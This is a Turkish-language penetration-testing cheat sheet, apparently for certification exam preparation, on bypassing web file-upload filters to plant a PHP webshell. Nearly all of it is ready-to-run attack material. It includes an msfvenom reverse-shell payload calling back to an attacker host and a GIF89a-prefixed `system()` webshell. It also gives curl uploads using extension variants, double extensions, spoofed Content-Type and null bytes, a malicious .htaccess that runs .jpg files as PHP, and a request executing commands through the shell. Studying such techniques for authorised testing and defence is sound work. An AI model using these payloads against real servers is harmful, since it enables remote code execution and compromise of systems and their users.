File Upload Bypass — Uzantı, Magic Bytes, Content-Type ve .htaccess ile Webshell
Dosya yükleme filtrelerini atlatma: uzantı varyantları (.phtml/.php5), çift uzantı, magic byte (GIF89a) ekleme, Content-Type manipülasyonu, null byte, ve .htaccess ile zararsız uzantıyı PHP olarak yürütme.
- Uygulamada dosya yükleme noktası mevcut
- Yüklenen dosyanın eriştiği URL/dizin biliniyor veya tahmin edilebiliyor
Komutlar
msfvenom -p php/reverse_php LHOST={{LHOST}} LPORT={{LPORT}} -f raw -o shell.php curl -s -F 'file=@shell.phtml' 'http://{{RHOST}}:{{RPORT}}/upload.php' curl -s -F 'file=@shell.php.jpg' 'http://{{RHOST}}:{{RPORT}}/upload.php' printf 'GIF89a;\n<?php system($_GET["c"]); ?>' > shell.gif.php curl -s -F 'file=@shell.php;type=image/jpeg' 'http://{{RHOST}}:{{RPORT}}/upload.php' printf 'AddType application/x-httpd-php .jpg\n' > .htaccess curl -s -F 'file=@.htaccess' 'http://{{RHOST}}:{{RPORT}}/upload.php' && curl -s -F 'file=@shell.jpg' 'http://{{RHOST}}:{{RPORT}}/upload.php' curl -s -F 'file=@shell.php%00.jpg' 'http://{{RHOST}}:{{RPORT}}/upload.php' curl -s 'http://{{RHOST}}:{{RPORT}}/uploads/shell.phtml?c=id' Filtre Tipini Anlama
Önce hangi kontrolün uygulandığı belirlenir: (1) istemci tarafı JS (Burp ile atlanır), (2) uzantı blacklist/whitelist, (3) MIME/Content-Type, (4) magic byte/içerik (getimagesize), (5) yeniden adlandırma. Genelde birden fazlası birlikte bulunur ve katman katman atlatılır.
Uzantı Atlatma
Blacklist .php’yi engelliyorsa Apache’nin yine PHP olarak yürüttüğü .phtml, .php3, .php4, .php5, .pht, .phar denenir. Büyük/küçük harf (.pHp) ve sondaki boşluk/nokta (shell.php., shell.php%20) de işe yarar. Whitelist varsa çift uzantı (shell.php.jpg) veya .htaccess yöntemine geçilir.
İçerik ve MIME Atlatma
- Magic bytes: Dosya başına
GIF89a;koyup ardından PHP eklenir;getimagesizegeçer ama PHP yorumlanır. - Content-Type: multipart isteğinde
type=image/jpegsahtelenir (curl -F 'file=@shell.php;type=image/jpeg'veya Burp ile düzenleme).
.htaccess Tekniği
Upload dizinine yazma serbest ve AllowOverride açıksa, önce AddType application/x-httpd-php .jpg içeren bir .htaccess yüklenir; ardından .jpg uzantılı webshell yüklenip PHP olarak çalıştırılır. En güvenilir whitelist atlatma yollarından biridir.
Gotchalar
- Yüklenen dosyanın yolu bilinmiyorsa
gobuster/feroxbusterile/uploads,/files,/imagesaranır; bazen yanıt yüklenen URL’i döndürür. - Dosya rastgele yeniden adlandırılıyorsa yanıttaki yeni isim yakalanmalı.
- Webshell tetiklenince hemen kararlı reverse shell’e geçilir (bkz. revshells). msfvenom ile payload üretmek sınavda serbesttir; otomatik exploit modülleri değildir.